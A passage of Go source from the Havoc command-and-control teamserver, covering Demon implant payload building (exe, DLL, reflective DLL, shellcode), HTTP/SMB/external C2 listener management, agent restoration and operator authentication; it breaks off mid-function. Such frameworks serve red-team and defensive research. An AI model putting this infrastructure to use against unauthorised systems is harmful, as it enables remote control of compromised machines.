{ Config.Secure = true } t.ListenerEdit(handlers.LISTENER_HTTP, Config) var p = events.Listener.ListenerEdit(handlers.LISTENER_HTTP, &Config) t.EventAppend(p) t.EventBroadcast("", p) break } break } case packager.Type.Gate.Type: switch pk.Body.SubEvent { case packager.Type.Gate.Stageless: var ( AgentType = pk.Body.Info["AgentType"].(string) ListenerName = pk.Body.Info["Listener"].(string) Arch = pk.Body.Info["Arch"].(string) Format = pk.Body.Info["Format"].(string) Config = pk.Body.Info["Config"].(string) SendConsoleMsg func(MsgType, Message string) ClientID string ) t.Clients.Range(func(key, value any) bool { Client := value.(*Client) if Client.Username == pk.Head.User { ClientID = Client.ClientID return false } return true }) SendConsoleMsg = func(MsgType, Message string) { err := t.SendEvent(ClientID, events.Gate.SendConsoleMessage(MsgType, Message)) if err != nil { logger.Error("Couldn't send Event: " + err.Error()) return } } if AgentType == "Demon" { go func() { var ConfigMap = make(map[string]any) err := json.Unmarshal([]byte(Config), &ConfigMap) if err != nil { logger.Error("Failed to Unmarshal json to object: " + err.Error()) return } var PayloadBuilder = builder.NewBuilder(builder.BuilderConfig{ Compiler64: t.Settings.Compiler64, Compiler86: t.Settings.Compiler32, Nasm: t.Settings.Nasm, DebugDev: t.Flags.Server.DebugDev, SendLogs: t.Flags.Server.SendLogs, }) PayloadBuilder.ClientId = ClientID if PayloadBuilder.ClientId == "" { logger.Error("Couldn't find the Client") return } PayloadBuilder.SendConsoleMessage = SendConsoleMsg err = PayloadBuilder.SetConfig(Config) if err != nil { return } if Arch == "x64" { PayloadBuilder.SetArch(builder.ARCHITECTURE_X64) } else { PayloadBuilder.SetArch(builder.ARCHITECTURE_X86) } var Ext string if Arch == "x64" { Ext = ".x64" } else { Ext = ".x86" } logger.Debug(Format) if Format == "Windows Exe" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_EXE) Ext += ".exe" } else if Format == "Windows Service Exe" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_SERVICE_EXE) Ext += ".exe" } else if Format == "Windows Dll" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_DLL) Ext += ".dll" } else if Format == "Windows Reflective Dll" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_REFLECTIVE_DLL) Ext += ".dll" } else if Format == "Windows Shellcode" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_RAW_BINARY) Ext += ".bin" } else { logger.Error("Unknown Format: " + Format) return } for i := 0; i < len(t.Listeners); i++ { if t.Listeners[i].Name == ListenerName { PayloadBuilder.SetListener(t.Listeners[i].Type, t.Listeners[i].Config) } } PayloadBuilder.SetExtension(Ext) if t.Profile.Config.Demon != nil && t.Profile.Config.Demon.Binary != nil { PayloadBuilder.SetPatchConfig(t.Profile.Config.Demon.Binary) } if PayloadBuilder.Build() { pal := PayloadBuilder.GetPayloadBytes() if len(pal) > 0 { err := t.SendEvent(PayloadBuilder.ClientId, events.Gate.SendStageless("demon"+Ext, pal)) if err != nil { logger.Error("Error while sending event: " + err.Error()) return } PayloadBuilder.DeletePayload() } } }() } else { // send to Services for _, Agent := range t.Service.Agents { if Agent.Name == AgentType { var ConfigMap = make(map[string]any) err := json.Unmarshal([]byte(Config), &ConfigMap) if err != nil { logger.Error("Failed to Unmarshal json to object: " + err.Error()) SendConsoleMsg("Error", "Failed to Unmarshal json to object: "+err.Error()) return } var Options = map[string]any{ "Listener": t.ListenerGetInfo(ListenerName), "Arch": Arch, "Format": Format, } Agent.SendAgentBuildRequest(ClientID, ConfigMap, Options) } } } } } } ================================================ FILE: teamserver/cmd/server/listener.go ================================================ package server import ( "Havoc/pkg/colors" "Havoc/pkg/events" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/packager" "Havoc/pkg/service" "encoding/json" "errors" "fmt" "strings" "time" "github.com/fatih/structs" ) func (t *Teamserver) ListenerStart(ListenerType int, info any) error { var ( ListenerConfig any ListenerName string ) for _, listener := range t.Listeners { var Name string switch ListenerType { case handlers.LISTENER_HTTP: Name = info.(handlers.HTTPConfig).Name break case handlers.LISTENER_PIVOT_SMB: Name = info.(handlers.SMBConfig).Name break case handlers.LISTENER_EXTERNAL: Name = info.(handlers.ExternalConfig).Name break } if Name == listener.Name { return errors.New("listener already exists") } } switch ListenerType { case handlers.LISTENER_HTTP: var HTTPConfig = handlers.NewConfigHttp() var config = info.(handlers.HTTPConfig) HTTPConfig.Config = config HTTPConfig.Config.Secure = config.Secure // HTTPConfig.RoutineFunc = Functions HTTPConfig.Teamserver = t HTTPConfig.Start() ListenerConfig = HTTPConfig ListenerName = config.Name break case handlers.LISTENER_PIVOT_SMB: var SmbConfig = handlers.NewPivotSmb() SmbConfig.Config = info.(handlers.SMBConfig) // SmbConfig.RoutineFunc = Functions SmbConfig.Teamserver = t // this only prints a message and lets the client now that it is ready to use SmbConfig.Start() ListenerConfig = SmbConfig ListenerName = SmbConfig.Config.Name break case handlers.LISTENER_EXTERNAL: var ( ExtConfig = handlers.NewExternal(t.Server.Engine, info.(handlers.ExternalConfig)) endpoint = new(Endpoint) ) // ExtConfig.RoutineFunc = Functions ExtConfig.Teamserver = t ExtConfig.Start() endpoint.Endpoint = ExtConfig.Config.Endpoint endpoint.Function = ExtConfig.Request t.EndpointAdd(endpoint) ListenerConfig = ExtConfig ListenerName = info.(handlers.ExternalConfig).Name break } t.Listeners = append(t.Listeners, &Listener{ Name: ListenerName, Type: ListenerType, Config: ListenerConfig, }) return nil } func (t *Teamserver) ListenerExist(Name string) bool { for _, l := range t.Listeners { if l.Name == Name { return true } } return false } func (t *Teamserver) ListenerGetInfo(Name string) map[string]any { for _, listener := range t.Listeners { if listener.Name == Name { switch listener.Type { case handlers.LISTENER_HTTP: return structs.Map(listener.Config.(*handlers.HTTP).Config) case handlers.LISTENER_EXTERNAL: break case handlers.LISTENER_PIVOT_SMB: break } } } return nil } func (t *Teamserver) ListenerRemove(Name string) ([]*Listener, []packager.Package) { for i := range t.Listeners { if t.Listeners[i].Name == Name { switch t.Listeners[i].Config.(type) { case *handlers.HTTP: err := t.Listeners[i].Config.(*handlers.HTTP).Stop() if err != nil { var pk = events.Listener.ListenerError("", t.Listeners[i].Name, err) t.EventAppend(pk) t.EventBroadcast("", pk) } case *handlers.External: t.EndpointRemove(t.Listeners[i].Config.(*handlers.External).Config.Endpoint) } // remove the listener from our database err := t.DB.ListenerRemove(Name) if err != nil { logger.Error("Failed to remove listener: ", Name) return t.Listeners, t.EventsList } t.Listeners = append(t.Listeners[:i], t.Listeners[i+1:]...) for EventID := range t.EventsList { if t.EventsList[EventID].Head.Event == packager.Type.Listener.Type { if t.EventsList[EventID].Body.SubEvent == packager.Type.Listener.Add { if name, ok := t.EventsList[EventID].Body.Info["Name"]; ok { if name == Name { t.EventsList = append(t.EventsList[:EventID], t.EventsList[EventID+1:]...) return t.Listeners, t.EventsList } } } } } return t.Listeners, t.EventsList } } logger.Error("Listener not found: ", Name) return t.Listeners, t.EventsList } func (t *Teamserver) ListenerEdit(Type int, Config any) { switch Type { case handlers.LISTENER_HTTP: for i := range t.Listeners { if t.Listeners[i].Name == Config.(handlers.HTTPConfig).Name { t.Listeners[i].Config.(*handlers.HTTP).Config.UserAgent = Config.(handlers.HTTPConfig).UserAgent t.Listeners[i].Config.(*handlers.HTTP).Config.Headers = Config.(handlers.HTTPConfig).Headers t.Listeners[i].Config.(*handlers.HTTP).Config.Uris = Config.(handlers.HTTPConfig).Uris t.Listeners[i].Config.(*handlers.HTTP).Config.Proxy = Config.(handlers.HTTPConfig).Proxy t.Listeners[i].Config.(*handlers.HTTP).Config.BehindRedir = t.Profile.Config.Demon.TrustXForwardedFor } } case handlers.LISTENER_SERVICE: logger.Debug("LISTENER_SERVICE edit: ", Config) break } } // ListenerAdd // creates a package for the client that a new listener has been added. func (t *Teamserver) ListenerAdd(FromUser string, Type int, Config any) packager.Package { var ( Name string Protocol string ConfigJson []byte ) switch Type { case handlers.LISTENER_HTTP: var ( Info = structs.Map(Config.(*handlers.HTTP).Config) Host string ) Protocol = handlers.AGENT_HTTP Name = Info["Name"].(string) /* Now set the config/info */ Info["Hosts"] = strings.Join(Config.(*handlers.HTTP).Config.Hosts, ", ") Info["Headers"] = strings.Join(Config.(*handlers.HTTP).Config.Headers, ", ") Info["Uris"] = strings.Join(Config.(*handlers.HTTP).Config.Uris, ", ") /* proxy settings */ Info["Proxy Enabled"] = Config.(*handlers.HTTP).Config.Proxy.Enabled Info["Proxy Type"] = Config.(*handlers.HTTP).Config.Proxy.Type Info["Proxy Host"] = Config.(*handlers.HTTP).Config.Proxy.Host Info["Proxy Port"] = Config.(*handlers.HTTP).Config.Proxy.Port Info["Proxy Username"] = Config.(*handlers.HTTP).Config.Proxy.Username Info["Proxy Password"] = Config.(*handlers.HTTP).Config.Proxy.Password Info["Secure"] = Config.(*handlers.HTTP).Config.Secure Info["Status"] = Config.(*handlers.HTTP).Active Info["Response Headers"] = strings.Join(Config.(*handlers.HTTP).Config.Response.Headers, ", ") Info["Secure"] = "false" if Config.(*handlers.HTTP).Config.Secure { Info["Secure"] = "true" } if Config.(*handlers.HTTP).Active { Info["Status"] = "Online" } else { Info["Status"] = "Offline" } delete(Info, "Proxy") delete(Info, "Name") delete(Info, "Response") delete(Info, "Hosts") delete(Info, "Name") for _, host := range Config.(*handlers.HTTP).Config.Hosts { if len(Host) == 0 { Host = host } else { Host += ", " + host } } Info["Hosts"] = Host /* we get an error just do nothing */ ConfigJson, _ = json.Marshal(Info) break case handlers.LISTENER_PIVOT_SMB: Info := structs.Map(Config.(*handlers.SMB).Config) Protocol = handlers.AGENT_PIVOT_SMB Name = Info["Name"].(string) Info["Status"] = "Online" delete(Info, "Name") /* we get an error just do nothing */ ConfigJson, _ = json.Marshal(Info) break case handlers.LISTENER_EXTERNAL: Info := structs.Map(Config.(*handlers.External).Config) Protocol = handlers.AGENT_EXTERNAL Name = Info["Name"].(string) Info["Status"] = "Online" delete(Info, "Name") /* we get an error just do nothing */ ConfigJson, _ = json.Marshal(Info) break } // just add the listener to the sqlite db if we got any config provided if len(ConfigJson) > 0 { err := t.DB.ListenerAdd(Name, Protocol, string(ConfigJson)) if err != nil { logger.Error(fmt.Sprintf("Failed to add Listener \"%s\": %v", Name, err)) } } return events.Listener.ListenerAdd(FromUser, Type, Config) } // ListenerServiceExc2Add // adds an external c2 listener that has been started from a service script to the teamserver listener list. func (t *Teamserver) ListenerServiceExc2Add(Name, ExEndpoint string, client *service.ClientService) error { logger.Debug("test") var ( Config = handlers.ExternalConfig{ Name: Name, Endpoint: ExEndpoint, } ExtConfig *handlers.External ) if t.ListenerExist(Name) { return errors.New("listener with that name already exist") } // create a new external C2 instance ExtConfig = handlers.NewExternal(t.Server.Engine, Config) ExtConfig.Teamserver = t ExtConfig.Data = map[string]any{ "client": client, } t.EndpointAdd(&Endpoint{ Endpoint: ExtConfig.Config.Endpoint, Function: ExtConfig.Request, }) // add this exc2 listener to the teamserver listener list t.Listeners = append(t.Listeners, &Listener{ Name: Name, Type: handlers.LISTENER_EXTERNAL, Config: ExtConfig, }) return nil } // ListenerStartNotify // Notifies the clients of a new listener that is available to use. func (t *Teamserver) ListenerStartNotify(Listener map[string]any) { var ( ListenerName string ListenerProt string ListenerHost string ListenerPort string ListenerErro string ListenerStatus string ListenerInfo string pk = packager.Package{ Head: packager.Head{ Event: packager.Type.Listener.Type, }, Body: packager.Body{ SubEvent: packager.Type.Listener.Add, }, } ) logger.Debug(Listener) if val, ok := Listener["Name"]; ok { ListenerName = val.(string) } else { logger.DebugError("Listener map doesn't contain Name") return } if val, ok := Listener["Protocol"]; ok { ListenerProt = val.(string) } else { logger.DebugError("Listener map doesn't contain Protocol") return } if val, ok := Listener["Host"]; ok { ListenerHost = val.(string) } else { logger.DebugError("Listener map doesn't contain Host") return } if val, ok := Listener["Port"]; ok { ListenerPort = val.(string) } else { logger.DebugError("Listener map doesn't contain Port") return } if val, ok := Listener["Error"]; ok { ListenerErro = val.(string) } else { logger.DebugError("Listener map doesn't contain Error") return } if val, ok := Listener["Status"]; ok { ListenerStatus = val.(string) } else { logger.DebugError("Listener map doesn't contain Status") return } if val, ok := Listener["Info"]; ok { ListenerInfo = val.(string) } else { logger.DebugError("Listener map doesn't contain Info") return } pk.Head.Time = time.Now().Format("02/01/2006 15:04:05") pk.Body.Info = map[string]any{ "Name": ListenerName, "Protocol": ListenerProt, "Host": ListenerHost, "Port": ListenerPort, "Error": ListenerErro, "Status": ListenerStatus, "Info": ListenerInfo, } t.EventAppend(pk) t.EventBroadcast("", pk) logger.Info(fmt.Sprintf("Started \"%v\" listener", colors.Green(ListenerName))) } ================================================ FILE: teamserver/cmd/server/service.go ================================================ package server import ( "Havoc/pkg/agent" "Havoc/pkg/logger" "fmt" ) func (t *Teamserver) ServiceAgent(MagicValue int) agent.ServiceAgentInterface { for _, agentService := range t.Service.Agents { if agentService.MagicValue == fmt.Sprintf("0x%x", MagicValue) { return agentService } } logger.Debug("Service agent not found") return nil } func (t *Teamserver) ServiceAgentExist(MagicValue int) bool { for _, agentService := range t.Service.Agents { if agentService.MagicValue == fmt.Sprintf("0x%x", MagicValue) { return true } } logger.Debug("Service agent not found") return false } ================================================ FILE: teamserver/cmd/server/teamserver.go ================================================ package server import "C" import ( "Havoc/pkg/agent" "Havoc/pkg/common/certs" "Havoc/pkg/db" "Havoc/pkg/service" "Havoc/pkg/webhook" "bytes" "encoding/hex" "encoding/json" "errors" "fmt" "io" "net/http" "os" "os/exec" "strconv" "strings" "time" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" "golang.org/x/crypto/sha3" "Havoc/pkg/colors" "Havoc/pkg/common" "Havoc/pkg/events" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/packager" "Havoc/pkg/profile" "Havoc/pkg/utils" ) func NewTeamserver(DatabasePath string) *Teamserver { if d, err := db.DatabaseNew(DatabasePath); err != nil { logger.Error("Failed to create a new db: " + err.Error()) return nil } else { return &Teamserver{ DB: d, } } } func (t *Teamserver) SetServerFlags(flags TeamserverFlags) { t.Flags = flags } func (t *Teamserver) Start() { logger.Debug("Starting teamserver...") var ( ServerFinished chan bool TeamserverWs string TeamserverPath, err = os.Getwd() ListenerCount int KillDate int64 ) if err != nil { logger.Error("Couldn't get the current directory: " + err.Error()) return } if t.Flags.Server.Host == "" { t.Flags.Server.Host = t.Profile.ServerHost() } if t.Flags.Server.Port == "" { t.Flags.Server.Port = strconv.Itoa(t.Profile.ServerPort()) } gin.SetMode(gin.ReleaseMode) t.Server.Engine = gin.New() t.Server.Engine.GET("/", func(context *gin.Context) { context.Redirect(http.StatusMovedPermanently, "home/") }) // Catch me if you can t.Server.Engine.GET("/havoc/", func(context *gin.Context) { var ( upgrade websocket.Upgrader WebSocket *websocket.Conn ClientID = utils.GenerateID(6) ) if WebSocket, err = upgrade.Upgrade(context.Writer, context.Request, nil); err != nil { logger.Error("Failed upgrading request: " + err.Error()) return } t.Clients.Store(ClientID, &Client{ Username: "", GlobalIP: WebSocket.RemoteAddr().String(), Connection: WebSocket, ClientVersion: "", Packager: packager.NewPackager(), Authenticated: false, }) // Handle connections in a new goroutine. go t.handleRequest(ClientID) }) // TODO: pass this as a profile/command line flag t.Server.Engine.Static("/home", "./bin/static") t.Server.Engine.POST("/:endpoint", func(context *gin.Context) { var endpoint = context.Request.RequestURI[1:] if len(t.Endpoints) > 0 { for i := range t.Endpoints { if t.Endpoints[i].Endpoint == endpoint { t.Endpoints[i].Function(context) } } } }) // start the teamserver websocket connection go func(Host, Port string) { var ( certPath = TeamserverPath + "/data/server.cert" keyPath = TeamserverPath + "/data/server.key" Cert []byte Key []byte ) Cert, Key, err = certs.HTTPSGenerateRSACertificate(Host) if err != nil { logger.Error("Failed to generate server certificates: " + err.Error()) os.Exit(0) } err = os.WriteFile(certPath, Cert, 0644) if err != nil { logger.Error("Couldn't save server cert file: " + err.Error()) os.Exit(0) } err = os.WriteFile(keyPath, Key, 0644) if err != nil { logger.Error("Couldn't save server cert file: " + err.Error()) os.Exit(0) } // start the teamserver if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil { logger.Error("Failed to start websocket: " + err.Error()) } ServerFinished <- true os.Exit(0) }(t.Flags.Server.Host, t.Flags.Server.Port) t.WebHooks = webhook.NewWebHook() t.Listeners = []*Listener{} TeamserverWs = "wss://" + t.Flags.Server.Host + ":" + t.Flags.Server.Port logger.Info("Starting Teamserver on " + colors.BlueUnderline(TeamserverWs)) /* if we specified a webhook then lets use it. */ if t.Profile.Config.WebHook != nil { if t.Profile.Config.WebHook.Discord != nil { var ( AvatarUrl string UserName string ) if len(t.Profile.Config.WebHook.Discord.AvatarUrl) > 0 { AvatarUrl = t.Profile.Config.WebHook.Discord.AvatarUrl } if len(t.Profile.Config.WebHook.Discord.UserName) > 0 { UserName = t.Profile.Config.WebHook.Discord.UserName } if len(t.Profile.Config.WebHook.Discord.WebHook) > 0 { t.WebHooks.SetDiscord(AvatarUrl, UserName, t.Profile.Config.WebHook.Discord.WebHook) } } } // start teamserver service if t.Profile.Config.Service != nil { // 3rd Party Agent Support Enabled t.Service = service.NewService(t.Server.Engine) t.Service.Teamserver = t t.Service.Data.ServerAgents = &t.Agents t.Service.Config = *t.Profile.Config.Service if len(t.Service.Config.Endpoint) > 0 { t.Service.Start() logger.Info(fmt.Sprintf("%v starting service handle on %v", "["+colors.BoldWhite("SERVICE")+"]", colors.BlueUnderline(TeamserverWs+"/"+t.Service.Config.Endpoint))) } else { logger.Error("Teamserver service error: Endpoint not specified") } } /* now load up our db or start a new one if none exist */ DBPath := t.DB.Path() if t.DB, err = db.DatabaseNew(TeamserverPath + "/" + DBPath); err != nil { logger.SetStdOut(os.Stderr) logger.Error("Failed to create or open a database: " + err.Error()) return } if t.DB.Existed() { logger.Info("Opens existing database: " + colors.Blue(DBPath)) } else { logger.Info("Creates new database: " + colors.Blue(DBPath)) } ListenerCount = t.DB.ListenerCount() /* start listeners from the specified yaotl profile */ if t.Profile.Config.Listener != nil { /* Start all HTTP/s listeners */ for _, listener := range t.Profile.Config.Listener.ListenerHTTP { if listener.KillDate != "" { t, err := time.Parse("2006-01-02 15:04:05", listener.KillDate) if err != nil { logger.Error("Failed to parse the kill date: " + err.Error()) return } KillDate = common.EpochTimeToSystemTime(t.Unix()) } else { KillDate = 0 } var HandlerData = handlers.HTTPConfig{ Name: listener.Name, KillDate: KillDate, WorkingHours: listener.WorkingHours, Hosts: listener.Hosts, HostBind: listener.HostBind, Methode: listener.Methode, HostRotation: listener.HostRotation, BehindRedir: t.Profile.Config.Demon.TrustXForwardedFor, PortBind: strconv.Itoa(listener.PortBind), PortConn: strconv.Itoa(listener.PortConn), UserAgent: listener.UserAgent, Headers: listener.Headers, Uris: listener.Uris, Secure: listener.Secure, } if listener.Cert != nil { var Found = true if _, err = os.Stat(listener.Cert.Cert); !os.IsNotExist(err) { HandlerData.Cert.Cert = listener.Cert.Cert } else { Found = false } if _, err = os.Stat(listener.Cert.Key); !os.IsNotExist(err) { HandlerData.Cert.Key = listener.Cert.Key } else { Found = false } if !Found { logger.Error("Failed to find Cert/Key Path for listener '" + listener.Name + "'. Using randomly generated certs") } } if listener.Response != nil { HandlerData.Response.Headers = listener.Response.Headers } if err := t.ListenerStart(handlers.LISTENER_HTTP, HandlerData); err != nil { logger.Error("Failed to start listener from profile: " + err.Error()) return } } /* Start all SMB listeners */ for _, listener := range t.Profile.Config.Listener.ListenerSMB { if listener.KillDate != "" { t, err := time.Parse("2006-01-02 15:04:05", listener.KillDate) if err != nil { logger.Error("Failed to parse the kill date: " + err.Error()) return } KillDate = common.EpochTimeToSystemTime(t.Unix()) } else { KillDate = 0 } var HandlerData = handlers.SMBConfig{ Name: listener.Name, PipeName: listener.PipeName, KillDate: KillDate, WorkingHours: listener.WorkingHours, } if err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, HandlerData); err != nil { logger.Error("Failed to start listener from profile: " + err.Error()) return } } /* Start all ExternalC2 listeners */ for _, listener := range t.Profile.Config.Listener.ListenerExternal { var HandlerData = handlers.ExternalConfig{ Name: listener.Name, Endpoint: listener.Endpoint, } if err := t.ListenerStart(handlers.LISTENER_EXTERNAL, HandlerData); err != nil { logger.Error("Failed to start listener from profile: " + err.Error()) return } } } if ListenerCount > 0 { var TotalCount = 0 if DbName := t.DB.ListenerNames(); len(DbName) > 0 { TotalCount = ListenerCount for _, name := range DbName { for _, listener := range t.Listeners { if listener.Name == name { TotalCount-- break } } } } if TotalCount > 0 { logger.Info(fmt.Sprintf("Starting %v listeners from last session", colors.Green(TotalCount))) } } for _, listener := range t.DB.ListenerAll() { switch listener["Protocol"] { case handlers.AGENT_HTTP, handlers.AGENT_HTTPS: var ( Data = make(map[string]any) HandlerData = handlers.HTTPConfig{ Name: listener["Name"], } ) err = json.Unmarshal([]byte(listener["Config"]), &Data) if err != nil { logger.Error("Failed to unmarshal json bytes to map: " + err.Error()) continue } /* set config of http listener */ HandlerData.Hosts = strings.Split(Data["Hosts"].(string), ", ") HandlerData.HostBind = Data["HostBind"].(string) HandlerData.HostRotation = Data["HostRotation"].(string) HandlerData.PortBind = Data["PortBind"].(string) HandlerData.UserAgent = Data["UserAgent"].(string) HandlerData.Headers = strings.Split(Data["Headers"].(string), ", ") HandlerData.Uris = strings.Split(Data["Uris"].(string), ", ") HandlerData.BehindRedir = t.Profile.Config.Demon.TrustXForwardedFor HandlerData.Secure = false if Data["Secure"].(string) == "true" { HandlerData.Secure = true } if Data["Response Headers"] != nil { switch Data["Response Headers"].(type) { case string: HandlerData.Response.Headers = strings.Split(Data["Response Headers"].(string), ", ") break default: for _, s := range Data["Response Headers"].([]interface{}) { HandlerData.Response.Headers = append(HandlerData.Response.Headers, s.(string)) } } } /* also ignore if we already have a listener running */ if err := t.ListenerStart(handlers.LISTENER_HTTP, HandlerData); err != nil && err.Error() != "listener already exists" { logger.SetStdOut(os.Stderr) logger.Error("Failed to start listener from db: " + err.Error()) return } break case handlers.AGENT_EXTERNAL: var ( Data = make(map[string]any) HandlerData = handlers.ExternalConfig{ Name: listener["Name"], } ) err := json.Unmarshal([]byte(listener["Config"]), &Data) if err != nil { logger.Debug("Failed to unmarshal json bytes to map: " + err.Error()) continue } HandlerData.Endpoint = Data["Endpoint"].(string) if err := t.ListenerStart(handlers.LISTENER_EXTERNAL, HandlerData); err != nil && err.Error() != "listener already exists" { logger.SetStdOut(os.Stderr) logger.Error("Failed to start listener from db: " + err.Error()) return } break case handlers.AGENT_PIVOT_SMB: var ( Data = make(map[string]any) HandlerData = handlers.SMBConfig{ Name: listener["Name"], } ) err := json.Unmarshal([]byte(listener["Config"]), &Data) if err != nil { logger.Debug("Failed to unmarshal json bytes to map: " + err.Error()) continue } HandlerData.PipeName = Data["PipeName"].(string) if err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, HandlerData); err != nil && err.Error() != "listener already exists" { logger.SetStdOut(os.Stderr) logger.Error("Failed to start listener from db: " + err.Error()) return } break } } // load all existing Agents from the DB Agents := t.DB.AgentAll() for _, Agent := range Agents { t.AgentAdd(Agent) } for _, Agent := range Agents { // check if the agent has a parent parentID, err := t.ParentOf(Agent) if err == nil { Agent.Pivots.Parent = t.AgentInstance(parentID) } // check if the agent has any links AgentsIDs := t.LinksOf(Agent) for _, AgentID := range AgentsIDs { Agent.Pivots.Links = append(Agent.Pivots.Links, t.AgentInstance(AgentID)) } } // notify the clients for _, Agent := range Agents { t.AgentSendNotify(Agent) } if len(Agents) > 0 { logger.Info(fmt.Sprintf("Restored %v agents from last session", colors.Green(len(Agents)))) } t.EventAppend(events.SendProfile(t.Profile)) // This should hold the Teamserver as long as the WebSocket Server is running logger.Debug("Wait til the server shutdown") <-ServerFinished } func (t *Teamserver) handleRequest(id string) { value, isok := t.Clients.Load(id) if !isok { return } client := value.(*Client) _, NewClient, err := client.Connection.ReadMessage() if err != nil { if err != io.EOF { logger.Error("Error reading 2:", err.Error()) if strings.Contains(err.Error(), "connection reset by peer") { err := client.Connection.Close() if err != nil { logger.Error("Error while closing Client connection: " + err.Error()) } } } t.Clients.Delete(id) return } pk := client.Packager.CreatePackage(string(NewClient)) if t.Profile != nil { var found = false for _, UserNames := range t.Profile.ListOfUsernames() { if UserNames == pk.Head.User { found = true } } if !found { err := t.SendEvent(id, events.UserDoNotExists()) if err != nil { logger.Error("Error while sending package to " + colors.Red(id) + "") } t.RemoveClient(id) return } } isExist := false t.Clients.Range(func(key, value any) bool { if client.Username == pk.Head.User { err := t.SendEvent(id, events.UserAlreadyExits()) if err != nil { logger.Error("couldn't send event to client "+colors.Yellow(id)+":", err) } t.RemoveClient(id) isExist = true return false } return true }) if isExist { return } if !t.ClientAuthenticate(pk) { logger.Error("Client [User: " + pk.Body.Info["User"].(string) + "] failed to Authenticate! (" + colors.Red(client.GlobalIP) + ")") err := t.SendEvent(id, events.Authenticated(false)) if err != nil { logger.Error("client (" + colors.Red(id) + ") error while sending authenticate message: " + colors.Red(err)) } err = client.Connection.Close() if err != nil { logger.Error("Failed to close client (" + id + ") socket") } return } else { logger.Good("User <" + colors.Blue(pk.Body.Info["User"].(string)) + "> " + colors.Green("Authenticated")) client.Authenticated = true client.ClientID = id err := t.SendEvent(id, events.Authenticated(true)) if err != nil { logger.Error("client (" + colors.Red(id) + ") error while sending authenticate message:" + colors.Red(err)) } } client.Username = pk.Body.Info["User"].(string) packageNewUser := events.ChatLog.NewUserConnected(client.Username) t.EventAppend(packageNewUser) t.EventBroadcast(id, packageNewUser) t.SendAllPackagesToNewClient(id) for { value, isok := t.Clients.Load(id) if !isok { return } client = value.(*Client) _, EventPackage, err := client.Connection.ReadMessage() if err != nil { if websocket.IsCloseError(err, websocket.CloseAbnormalClosure) { logger.Warn("User <" + colors.Blue(client.Username) + "> " + colors.Red("Disconnected")) t.EventAppend(events.ChatLog.UserDisconnected(client.Username)) t.RemoveClient(id) return } else { logger.Error("Error reading :", err.Error()) } err := client.Connection.Close() if err != nil { logger.Error("Socket Error:", err.Error()) } t.EventAppend(events.ChatLog.UserDisconnected(client.Username)) t.RemoveClient(id) return } pk := client.Packager.CreatePackage(string(EventPackage)) pk.Head.Time = time.Now().Format("02/01/2006 15:04:05") t.EventAppend(pk) t.DispatchEvent(pk) } } func (t *Teamserver) SetProfile(path string) { t.Profile = profile.NewProfile() logger.LoggerInstance.STDERR = os.Stderr err := t.Profile.SetProfile(path, t.Flags.Server.Default) if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Profile error:", colors.Red(err)) os.Exit(1) } } func (t *Teamserver) ClientAuthenticate(pk packager.Package) bool { if pk.Head.Event == packager.Type.InitConnection.Type { if pk.Body.SubEvent == packager.Type.InitConnection.OAuthRequest { if t.Profile != nil { if t.Profile.Config.Operators != nil { var ( UserPassword string UserName string PassHash = sha3.New256() UserFound = false ) // search for operator for _, User := range t.Profile.Config.Operators.Users { if User.Name == pk.Head.User { UserName = User.Name UserFound = true PassHash.Write([]byte(User.Password)) UserPassword = hex.EncodeToString(PassHash.Sum(nil)) logger.Debug("Found User: " + User.Name) } } // check if the operator was even found if UserFound { if pk.Body.Info["Password"].(string) == UserPassword { logger.Debug("User " + colors.Red(UserName) + " is authenticated") return true } } else { logger.Debug("User not found") } logger.Debug("User not authenticated") } return false } else { return false } } else { logger.Error("Wrong SubEvent :: " + strconv.Itoa(pk.Body.SubEvent)) } } else { logger.Error("Not a Authenticate request") } logger.Error("Client failed to authenticate with password hash :: " + pk.Body.Info["Password"].(string)) return false } func (t *Teamserver) EventBroadcast(ExceptClient string, pk packager.Package) { // some sanity check if pk.Head.Event == 0 { return } t.Clients.Range(func(key, value any) bool { ClientID := key.(string) if ExceptClient != ClientID { err := t.SendEvent(ClientID, pk) if err != nil && !strings.Contains(err.Error(), "use of closed network connection") { logger.Error("SendEvent error: ", colors.Red(err)) } } return true }) } func (t *Teamserver) EventNewDemon(DemonAgent *agent.Agent) packager.Package { return events.Demons.NewDemon(DemonAgent) } func (t *Teamserver) EventAgentMark(AgentID, Mark string) { var pk = events.Demons.MarkAs(AgentID, Mark) t.EventAppend(pk) t.EventBroadcast("", pk) } func (t *Teamserver) EventListenerError(ListenerName string, Error error) { var pk = events.Listener.ListenerError("", ListenerName, Error) t.EventAppend(pk) t.EventBroadcast("", pk) // also remove the listener from the init packages. for EventID := range t.EventsList { if t.EventsList[EventID].Head.Event == packager.Type.Listener.Type { if t.EventsList[EventID].Body.SubEvent == packager.Type.Listener.Add { if name, ok := t.EventsList[EventID].Body.Info["Name"]; ok { if name == ListenerName { t.EventsList[EventID].Body.Info["Status"] = "Offline" t.EventsList[EventID].Body.Info["Error"] = Error.Error() } } } } } } func (t *Teamserver) SendEvent(id string, pk packager.Package) error { var ( buffer bytes.Buffer err error ) err = json.NewEncoder(&buffer).Encode(pk) if err != nil { return err } value, isOk := t.Clients.Load(id) if isOk { client := value.(*Client) client.Mutex.Lock() err = client.Connection.WriteMessage(websocket.BinaryMessage, buffer.Bytes()) if err != nil { // TODO: comment this line out as it seems to crash the server //t.Clients[id].Mutex.Unlock() return err } client.Mutex.Unlock() } else { return errors.New(fmt.Sprintf("client (%v) doesn't exist anymore", colors.Red(id))) } return nil } func (t *Teamserver) RemoveClient(ClientID string) { value, isOk := t.Clients.Load(ClientID) if isOk { client := value.(*Client) var ( userDisconnected = client.Username Authenticated = client.Authenticated ) if Authenticated { t.EventBroadcast(ClientID, events.ChatLog.UserDisconnected(userDisconnected)) for UserID := range t.Users { if userDisconnected == t.Users[UserID].Name { t.Users[UserID].Online = false } } } t.Clients.Delete(ClientID) } } func (t *Teamserver) EventAppend(event 